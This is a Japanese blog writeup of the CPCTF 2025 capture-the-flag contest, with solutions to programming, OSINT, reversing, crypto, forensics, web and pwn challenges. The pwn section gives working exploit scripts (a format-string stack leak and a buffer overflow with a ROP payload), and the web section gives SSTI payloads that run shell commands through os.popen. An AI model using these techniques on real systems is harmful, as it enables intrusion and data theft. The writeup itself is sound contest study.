以下の内容はhttps://yocchin.hatenablog.com/entry/2025/04/21/090116より取得しました。


CPCTF 2025 Writeup

この大会は2025/4/18 20:00(JST)~2025/4/20 20:00(JST)に開催されました。
この大会は個人戦。結果は1341.23点で453人中78位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc, LV.1)

問題にフラグが書いてあった。

CPCTF{Hello_CTF_And_PPC!}

45^2 (PPC, LV.1)

問題は次の通り。

入力値を2乗して出力すればよい。

以下のコードで通った。

n = int(input())
ans = n ** 2
print(ans)
CPCTF{2025_is_a_squ4r3_numb3r}

Luke or Bishop (PPC, LV.1)

問題は次の通り。

Gxが0またはGyが0の場合は、スタート地点と同じため0になる。
GxまたはGyが0の場合は、ルークで1回で移動できる。
Gxの絶対値, Gyの絶対値が同じ場合は、ビショップで1回で移動できる。
その他、Gx, Gyの合計が偶数の場合、ビショップで2回で移動でき、奇数の場合はルークで2回で移動できる。

以下のコードで通った。

gx, gy = map(int, input().split())
if gx == 0 and gy == 0:
    print(0)
elif gx == 0 or gy == 0:
    print(1)
elif gx == gy or gx == - gy:
    print(1)
else:
    print(2)
CPCTF{h15y4_0r_k4ku}

Like CPCTF? (PPC, LV.2)

問題は次の通り。

最大30文字から5文字を選択し、1文字目と3文字目が同じで4種類の文字が使われている場合の数を算出する。

以下のコードで通った。

import itertools

N = int(input())
S = input()

count = 0
for x in itertools.combinations(S, 5):
    text = ''.join(x)
    if text[0] == text[2]:
        if len(set(list(text))) == 4:
            count += 1

print(count)
CPCTF{Brut3_f0rc3_15_th3_5tr0ng35t}

netcat (Shell, LV.1)

ncで接続するだけ。

$ nc netcat.web.cpctf.space 30009
CPCTF{n3tc4t_1s_4m4z1ng}
CPCTF{n3tc4t_1s_4m4z1ng}

Count CPCTF (Shell, LV.2)

"CPCTF"が含まれている数を答える問題。
PythonのcountメソッドでCPCTFの数を数える。

#!/usr/bin/env python3
with open('count-CPCTF.txt', 'r') as f:
    data = f.read()

count = data.count('CPCTF')
flag = 'CPCTF{%d}' % count
print(flag)
CPCTF{128196}

XFD (Shell, LV.2)

Excelの列名A,B,C...,Y,Z,AA,AB...ZY,ZZ,AAA,AAB...XFC,XFDを改行区切りで出力し、出力したファイルのSHA256ハッシュを答える問題。
まずA~Z, AA~ZZ, AAA~XFDのリストを作成する。

#!/usr/bin/env python3
from string import *
import itertools

chars = ascii_uppercase

out = ''
finish = False
for r in range(1, 4):
    for x in itertools.product(chars, repeat=r):
        text = ''.join(x)
        out += text + '\n'
        if text == 'XFD':
            finish = True
            break
    if finish:
        break

with open('list.txt', 'w') as f:
    f.write(out)

次に作成したリストのsha256を取得する。

$ sha256sum list.txt
6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b  list.txt
CPCTF{6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b}

Math Test (Shell, LV.3)

足し算の問題が出題されるので、それに答えるスクリプトで対応する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mathtest.web.cpctf.space', 30010))

for i in range(1001):
    print('Round: %d' % (i + 1))
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    formula = data.split(' = ')[0]
    ans = eval(formula)
    print(ans)
    s.sendall(str(ans).encode() + b'\n')

data = recvuntil(s, b'}')
print(data)

実行結果は以下の通り。

        :
Round: 999
3583 + 1461 = ?
5044
Round: 1000
2939 + 2364 = ?
5303
Round: 1001
4463 + 3844 = ?
8307
Congratulations! The flag is: CPCTF{Aut0mat3_Th3_B0r1n9_5tuff}
CPCTF{Aut0mat3_Th3_B0r1n9_5tuff}

meshitero (OSINT, LV.1)

問題は次の通り。

美味しい美味しい油そば!
画像のメニューの名前を答えてください!

ただし、フラグ形式は名前をひらがな表記にして、ヘボン式ローマ字に変換したものを CPCTF{} で囲ったものとします。
例:メニュー名が「美味しい油そば」の場合、フラグは CPCTF{oishiiaburasoba} となります。

ヘボン式ローマ字への変換には、こちらのサイトを利用してください: https://hebonshiki-henkan.info/

画像検索すると、平太周 味庵のメニューであることがわかる。この写真のメニューの名前は、爆盛油脂麺。

CPCTF{bakumoriaburaaburamen}

timetable (OSINT, LV.2)

問題は次の通り。

fileの写真が示している時刻表に該当する駅や停留所の名前をそのまま小文字でヘボン式で表記してください。

例:
大岡山駅:CPCTF{ookayama}
東急バス森91宮が丘停留所:CPCTF{miyagaoka}

ヘボン式ローマ字への変換には、こちらのサイトを利用してください: https://hebonshiki-henkan.info/

「バス 富士見・神保町ルート 秋葉原ルート」で検索すると、千代田区 風ぐるまというコミュニティバスの時刻表であることがわかる。

以下のページで運行ルートを見る。
https://www.city.chiyoda.lg.jp/koho/kenko/koresha/gaishutsu/shin-kazaguruma/routemap.html

富士見・神保町ルート 秋葉原ルートしかない停留所は「専修大学法科大学院前」のみである。

CPCTF{senshudaigakuhokadaigakuimmae}

Bench (OSINT, LV.3)

問題は次の通り。

この写真が撮影された場所を特定してください。

ただし、次のフラグ形式で解答して下さい:CPCTF{X-Y}
ここで、X および Y は、それぞれ緯度と経度を10進法で表した数値を以下の手順で変換した整数です。

1. 緯度・経度を小数点以下第5位で四捨五入する。
2. その結果に10000を掛けた値を X,Yとする。

例
撮影地点の座標が緯度 35.6054818...、経度 139.6840248... の場合、
35.6054818 を小数点以下第5位で四捨五入して10000倍すると、X = 356055であり、
139.6840248 を小数点以下第5位で四捨五入すると、139.6840ですから、Y = 1396840です。
よって、フラグはCPCTF{356055-1396840}となります。

ベンチの向こうの柱に漫画が書いてある。その中に水島港、うの港のことが書いてある。
また右片隅に、右に行くとフェリー乗り場があることを示す看板がある。

周囲の感じが駅前のようになっているので、近くに駅がある宇野港の方を見てみる。Google Mapで宇野駅の周辺を散策する。

このあたりが該当しそう。
https://www.google.co.jp/maps/@34.4938686,133.9531955,3a,75y,242.32h,86.79t/data=!3m7!1e1!3m5!1siX2TlIMMqYCG7QWsAvgKyA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D3.2084217034871756%26panoid%3DiX2TlIMMqYCG7QWsAvgKyA%26yaw%3D242.31774848451226!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

CPCTF{344939-1339532}

Lethal (OSINT, LV.3)

問題は次の通り。

ドイツの病院を狙ったサイバー攻撃で、患者の死亡との関与が疑われたケースがありました。
この攻撃で使われたマルウェアの(固有の)通称と、悪用された脆弱性の CVE-ID を調べてください。

ただし、フラグ形式は CPCTF{NameOfMalware_CVE-xxxx-xxxx} ( x に数字が入る)とします。
(ex. マルウェアの固有の通称がMaliciousApp、CVE-IDがCVE-1234-5678 のとき、
フラグは CPCTF{MaliciousApp_CVE-1234-5678} となります。)

「Germany hospital cyber attack death malware name」で検索すると、以下のページが見つかる。
https://ifsh.de/en/news-detail/the-duesseldorf-cyber-incident

マルウェアはDoppelPaymerであることがわかる。

「DoppelPaymer CVE」で検索すると、以下のCVEが関係ある。

CVE-2019-19781
CPCTF{DoppelPaymer_CVE-2019-19781}

2025 (Pwn, LV.2)

配布されたソースコードは次のようになっている。

#include <stdio.h>

int main() 
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    unsigned int a, b;
    printf("Happy New Year 2025!\n");
    printf("Enter two numbers.\n");
    printf("No.1: ");
    scanf("%u", &a);
    printf("No.2: ");
    scanf("%u", &b);

    if (2025 % a == 0 && 2025 % b == 0) 
    {
        printf("Failed.\n");
        return 0;
    } 

    unsigned int c = a * b;

    if (c == 2025)
    {
        printf("Congratulations!\n");
        system("cat flag.txt");
    }
    else 
    {
        printf("Failed.\n");
    }

    return 0;
}

通常の値ではフラグを表示させる条件を満たすことはできない。
unsigned intの整数オーバーフローを使う。

>>> 4294967296 + 2025
4294969321

この値をfactordbで素因数分解すると、以下のようになる。

53 * 997 * 81281
>>> 53 * 997
52841

52841と81281を入力すれば、条件を満たす。

$ nc 2025.web.cpctf.space 30004
Happy New Year 2025!
Enter two numbers.
No.1: 52841
No.2: 81281
Congratulations!
CPCTF{Uns1gn3d_1nt_c4n_n0t_St0r3_inf1nity}
CPCTF{Uns1gn3d_1nt_c4n_n0t_St0r3_inf1nity}

Flag Guardian (Pwn, LV.3)

配布されたソースコードは次のようになっている。

#include <stdio.h>

void init()
{
    setbuf(stdout, NULL); 
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

int main()
{
    char input[0x20];
    char flag[0x20];
    FILE *fp;

    init();

    fp = fopen("flag.txt", "r");
    fgets(flag, sizeof(flag), fp);
    fclose(fp);

    printf("Do you want to see the flag? (yes/no) ");
    fgets(input, sizeof(input), stdin);

    printf("You entered: ");
    printf(input);
    printf("\n");
    if (input[0] == 'y' && input[1] == 'e' && input[2] == 's')
    {
        printf("I can't show whole flag, but here is a part of it: \n");
        printf(flag + 0x18); 
        printf("\n");
    }
    else
    {
        printf("Bye!\n");
    }

    return 0;
}

FSB脆弱性がある。
いろいろ試した結果、以下のようになった。

$ ./chall       
Do you want to see the flag? (yes/no) %12$p
You entered: 0x676f687b67616c66

Bye!

スタックの12番目からフラグが入っているので、少しずつリークする。

#!/usr/bin/env pythn3
from pwn import *

i = 12
flag = b''
while True:
    p = remote('flag_guardian.web.cpctf.space', 30007)

    payload = '%' + str(i) + '$p'
    data = p.recvuntil(b') ').decode()
    print(data + payload)
    p.sendline(payload.encode())

    data = p.recvline().decode().rstrip()
    print(data)
    flag += p64(int(data.split(' ')[-1], 16))

    data = p.recvline().decode().rstrip()
    print(data)
    data = p.recvline().decode().rstrip()
    print(data)

    p.close()

    if b'}' in flag:
        break

    i += 1

flag = flag.rstrip(b'\x00').decode()
print(flag)

実行結果は以下の通り。

[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %12$p
You entered: 0x72707b4654435043

Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %13$p
You entered: 0x5730705f66746e69

Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %14$p
You entered: 0x6e315f73315f7233

Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
[+] Opening connection to flag_guardian.web.cpctf.space on port 30007: Done
Do you want to see the flag? (yes/no) %15$p
You entered: 0x7d3374696e6966

Bye!
[*] Closed connection to flag_guardian.web.cpctf.space port 30007
CPCTF{printf_p0W3r_1s_1nfinit3}
CPCTF{printf_p0W3r_1s_1nfinit3}

Wrong Password (Pwn, LV.3)

配布されたソースコードは次のようになっている。

#include <stdio.h>

void init()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void win()
{
    printf("You win!\n");

    FILE *fp;
    char flag[100];

    fp = fopen("flag.txt", "r");
    fread(flag, sizeof(char), 100, fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
}

int main()
{
    init();

    char password[16];

    printf("Enter Password: ");
    scanf("%s", password);

    printf("Wrong!\n");
    return 0;
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary chall | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x000000000040119a : ret 0xfffe
0x00000000004011a1 : retf
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('wrong_password.web.cpctf.space', 30006)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x401016
win_addr = elf.symbols['win']

payload = b'A' * 24
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to wrong_password.web.cpctf.space on port 30006: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter Password: b'AAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xc9\x11@\x00\x00\x00\x00\x00'
Wrong!
You win!
Flag: CPCTF{sh0u1d_sp3CifY_Th3_4m0uNt_of_3ntry}
[*] Closed connection to wrong_password.web.cpctf.space port 30006
CPCTF{sh0u1d_sp3CifY_Th3_4m0uNt_of_3ntry}

What's this? (Binary, LV.1)

$ file rev-whats_this.zip
rev-whats_this.zip: Microsoft Word 2007+

拡張子をdocxにして、Wordで開くと、フラグが書いてあった。

CPCTF{d0cx_1s_a_z1P_4Rch1v3_0f_XmL_fiLeS}

Guessing (Binary, LV.2)

pycをデコンパイルする。

$ ~/pycdc/pycdc chall.pyc
# Source Generated with Decompyle++
# File: chall.pyc (Python 3.13)

Unsupported opcode: JUMP_BACKWARD (226)
flag_enc = 'CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@['
flag = ''
# WARNING: Decompyle incomplete

暗号文字列だけわかる。

CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@[

"CPCTF{"から始まることを前提に、XORが関係あると推測して確認してみる。

>>> ord('C') ^ ord('C')
0
>>> ord('P') ^ ord('Q')
1
>>> ord('C') ^ ord('A')
2
>>> ord('T') ^ ord('W')
3
>>> ord('F') ^ ord('B')
4
>>> ord('{') ^ ord('~')
5

XORの鍵が1ずつ増えていると推測できるので、このことを元に復号する。

>>> ct = 'CQAWB~v^kVi?bRl? bfLdLb_(wEk/ox/rLcMG@['
>>> ''.join([chr(ord(c) ^ i) for i, c in enumerate(ct)])
'CPCTF{pYc_c4n_b00st_pYtH0n_p3rf0RmAnce}'
CPCTF{pYc_c4n_b00st_pYtH0n_p3rf0RmAnce}

Secret Key (Binary, LV.2)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  char local_1a;
  char local_19;
  char local_18;
  char local_17;
  char local_16;
  char local_15;
  char local_14;
  char local_13;
  char local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Too see flag, you need Secret Key. Please enter it:");
  __isoc99_scanf(&DAT_0010204c,&local_1a);
  if ((((((local_12 == 'g') && (local_1a == 'r')) && (local_14 == 'i')) &&
       ((local_15 == 's' && (local_17 == 'e')))) &&
      ((local_13 == 'n' && ((local_18 == 'v' && (local_16 == 'r')))))) && (local_19 == 'e')) {
    puts("Congraturations!");
    printflag();
  }
  else {
    puts("Wrong Key!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_1aから順にkeyの文字を並べる。

reversing
$ ./chall
Too see flag, you need Secret Key. Please enter it:reversing
Congraturations!
Flag: CPCTF{h4PPy_b1n4ry_h4ck1nG!}
CPCTF{h4PPy_b1n4ry_h4ck1nG!}

Fortune Teller (Binary, LV.3)

$ ltrace -s 128 ./chall
setbuf(0x7f46d60315c0, nil)                                                                                                       = <void>
setbuf(0x7f46d60314e0, nil)                                                                                                       = <void>
setbuf(0x7f46d60308e0, nil)                                                                                                       = <void>
memcpy(0x7ffdcaa72900, "\261\003\0\0\340\005\0\0\251\003\0\0\241\005\0\0\215\002\0\0)\0\0\0=\002\0\0\212\003\0\0?\001\0\0C\001\0\0\251\003\0\0i\005\0\0\345\0\0\0\v\001\0\0\321\003\0\0\026\0\0\0!\002\0\0\262\003\0\0K\003\0\0+\002\0\0'\002\0\0V\005\0\0\v\0\0\0\333\005\0\0%\002\0\0\362\002\0\0\301\0\0\0\326\0\0\0\305\003\0\09\001\0\0\025\003\0\0\362\005\0\0"..., 180) = 0x7ffdcaa72900
puts("Hi! I'm a fourtune teller. If you want to know your fortune, enter the correct flag."Hi! I'm a fourtune teller. If you want to know your fortune, enter the correct flag.
)                                      = 85
printf("Input flag: "Input flag: )                                                                                                            = 12
__isoc99_scanf(0x4020d1, 0x7ffdcaa729f0, 0, 0hoge
)                                                                                    = 1
strcmp("CPCTF{y0u_c4n_s01v3_w1th0ut_r3Ad1nG_4ssembly}", "hoge")                                                                   = -37
puts("Wrong. Bye."Wrong. Bye.
)                                                                                                               = 12
+++ exited (status 0) +++

入力文字列と比較している文字列がフラグになっていた。

CPCTF{y0u_c4n_s01v3_w1th0ut_r3Ad1nG_4ssembly}

Name Omikuji (Web, LV.2)

名前に{{7*7}}を入力して占うと、以下のように表示される。

こんにちは、49さん。

SSTIの脆弱性があることがわかる。

以下を入力し、占う。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}

すると、以下のように表示される。

こんにちは、total 16 drwxr-xr-x 1 root root 4096 Apr 14 15:55 . drwxr-xr-x 1 root root 4096 Apr 18 16:42 .. -rw-r--r-- 1 root root 25 Apr 14 15:54 flag.txt -rw-r--r-- 1 root root 2818 Apr 14 15:54 main.py さん。

次に以下を入力し、占う。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}

すると、以下のように表示される。

こんにちは、CPCTF{sst1_is_d3ngerou2} さん。
CPCTF{sst1_is_d3ngerou2}

dark (Forensics, LV.1)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

CPCTF{dark_1mage_may_have_1nformat10n}

Golden Protocol (Forensics, LV.3)

TCP Streamを見てみる。

ストリーム0、1では以下のようになっている。

220 mailhog.example ESMTP MailHog
EHLO mailhog.local
250-Hello mailhog.local
250-PIPELINING
250 AUTH PLAIN
MAIL FROM:<hinoshita@example.local>
250 Sender hinoshita@example.local ok
RCPT TO:<murano@example.local>
250 Recipient murano@example.local ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Sat, 19 Apr 2025 00:29:11 +0900
To: murano@example.local
From: hinoshita@example.local
Subject: ............................................................
Message-Id: <20250419002911.362665@kenken.>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_362665"
Message-ID: <golden@cpctf.local>

------=_MIME_BOUNDARY_000_362665
Content-Type: text/plain

............

..........................................

....................................................................................
..........................................................................................
...........................................................................

............................................................

.................................
------=_MIME_BOUNDARY_000_362665
Content-Type: application/octet-stream; name="@secret.zip"
Content-Description: @secret.zip
Content-Disposition: attachment; filename="@secret.zip"
Content-Transfer-Encoding: BASE64

UEsDBBQAAQAAAJmcklqebOwxQAAAADQAAAAIAAAAZmxhZy50eHRc5r9k6PIot3XDQPC6binSb+yI
t0pZz9+ijcbJmtApsrspuwXYZcb7eeDfHUD+QnBrdJluOIF9vdaorsUpXlVFUEsBAj8AFAABAAAA
mZySWp5s7DFAAAAANAAAAAgAJAAAAAAAAAAgAAAAAAAAAGZsYWcudHh0CgAgAAAAAAABABgAvvHn
yU2w2wEAAAAAAAAAAAAAAAAAAAAAUEsFBgAAAAABAAEAWgAAAGYAAAAAAA==

------=_MIME_BOUNDARY_000_362665--


.
250 Ok: queued as psyygzlsCOxV30o6xZMRaPODQlzdy-XJZsZ0wC3CtNI=@mailhog.example
QUIT
221 Bye

ストリーム2では以下のようになっている。

220 mailhog.example ESMTP MailHog
EHLO mailhog.local
250-Hello mailhog.local
250-PIPELINING
250 AUTH PLAIN
MAIL FROM:<hinoshita@example.local>
250 Sender hinoshita@example.local ok
RCPT TO:<murano@example.local>
250 Recipient murano@example.local ok
DATA
354 End data with <CR><LF>.<CR><LF>
Date: Sat, 19 Apr 2025 00:29:21 +0900
To: murano@example.local
From: hinoshita@example.local
Subject: ..............................
Message-Id: <20250419002921.362788@kenken.>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
Message-ID: <golden@cpctf.local>

............

.................................zip......................................................

QhGjKkL_cBPLX4LdSKWQ

................................................

.
250 Ok: queued as Jqroqu2vWsStilrbs0zcwaUeL_Eo1Why-8sKHWaTyas=@mailhog.example
QUIT
221 Bye

@secret.zipをbase64データから抽出する。

#!/usr/bin/env python3
from base64 import *

s = '''
UEsDBBQAAQAAAJmcklqebOwxQAAAADQAAAAIAAAAZmxhZy50eHRc5r9k6PIot3XDQPC6binSb+yI
t0pZz9+ijcbJmtApsrspuwXYZcb7eeDfHUD+QnBrdJluOIF9vdaorsUpXlVFUEsBAj8AFAABAAAA
mZySWp5s7DFAAAAANAAAAAgAJAAAAAAAAAAgAAAAAAAAAGZsYWcudHh0CgAgAAAAAAABABgAvvHn
yU2w2wEAAAAAAAAAAAAAAAAAAAAAUEsFBgAAAAABAAEAWgAAAGYAAAAAAA==
'''

d = b64decode(s)

with open('@secret.zip', 'wb') as f:
    f.write(d)

抽出したzipファイルを以下のパスワードで解凍する。

QhGjKkL_cBPLX4LdSKWQ

展開されたflag.txtにフラグが書いてあった。

CPCTF{I_l0ve_4pples_4nd_p1n34ppl3s_34827ac28a610940}

I love MD (Forensics, LV.3)

2つの入力欄があり、異なる文字列でmd5の結果衝突するものを指定すればよいらしい。
md5の衝突のサンプルを検索したところ、以下のページが見つかった。

https://www.johndcook.com/blog/2024/03/20/md5-hash-collision/

以下の2つの文字列を指定する。

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

この結果、フラグが表示された。

CPCTF{d1ff3r3n7_1npu75_h4v3_54m3_h45h}

Heroic Code (Crypto, LV.1)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 16:
Hello and thank you for joining the CPCTF! The flag is CPCTF{alea_jacta_est}.
CPCTF{alea_jacta_est}

Add and multiple (Crypto, LV.2)

入力文字列の各ASCIIコードをプラスしてから1000以降の数値を掛け算している。
まず1000以降の数値で割って割り切れる値を探し、あとは順番に逆算していけば、フラグがわかる。

#!/usr/bin/env python3
with open('cipher.txt', 'r') as f:
    cipher = int(f.read())

for i in range(1000, 1100):
    if cipher % i == 0:
        index = i
        break

flag = ''
for i in range(index, 999, -1):
    cipher //= i
    code = cipher % (i - 1)
    flag = chr(code) + flag
    cipher -= code
print(flag)
CPCTF{C14ssic4l_Ciph3r_15_fun}

Anomaly (Crypto, LV.3)

RSA暗号で、q, e, n, cがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from output import *
from Crypto.Util.number import *

q = 0x10001
assert n % q == 0
p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{You_h4v3_escap3d!_8fa245b1007bc564}

RSA Trial 2025 (Crypto, LV.4)

RSA暗号だが、hintの値がわかるようになっている。
ソースコードは次の通り。

from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from secret import flag

p = getPrime(512)
q = getPrime(512)
r = nextprime(p + q)

n = p * q * r
hint = p**3 + q**3 + r**3
e = 0x10001
c = pow(bytes_to_long(flag.encode()), e, n)

with open("output.py", "w") as f:
    f.write(f"e = {e}\n")
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")
    f.write(f"hint = {hint}\n")

p + q ≒ rと考えると、以下のようになる。

n = p * q * r = p * q * (p + q) = p**2 * q + p * q**2
hint = p**3 + q**3 + r**3 = p**3 + q**3 + (p + q)**3
     = 2 * (p + q)**3 - (p + q)**3 + p**3 + q**3
     = 2 * (p + q)**3 - 3 * (p**2 * q + p * q**2)
     = 2 * (p + q)**3 - 3 * n

つまり以下が言える。

(p + q)**3 = (hint + 3 * n) // 2

p + qは(hint + 3 * n) // 2の3乗根に近い値である。この次の素数がrのため、rを割り出すことができる。
これでp*qの値もわかり、p**3 + q**3の値もわかる。

p * q = C1
p**3 + q**3 = C2

この場合以下のように式を変形できる。

p**6 + p**3 * q**3 = C2 * p**3

さらに以下のように式を変形できる。

p**6 - C2 * p**3 + C1**3 = 0

p**3をxとすると、以下のようにxの2次方程式として考えられる。

x**2 - C2 * x + C1**3 = 0

xを算出することができたら、p, qも算出することができ、あとは通常通り復号する。

#!/usr/bin/env python3
from output import *
from gmpy2 import *
from Crypto.Util.number import *
from sympy import *

p_add_q = int(iroot((hint + 3 * n) // 2, 3)[0])
r = nextprime(p_add_q)
assert n % r == 0

C1 = n // r
C2 = hint - r**3

x = Symbol('x')
eq = x**2 - C2 * x + C1**3
xs = solve(eq)

p, success = iroot(int(xs[0]), 3)
assert success
q, success = iroot(int(xs[1]), 3)
assert success

phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{tr1pl3_RSA_8011aed45d7c060f}

Feedback Questionnaire (Misc, LV.1)

アンケートに答えたらフラグが表示された。

CPCTF{th4nk_y0u_for_your_partic1pa7ion}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/04/21/090116より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14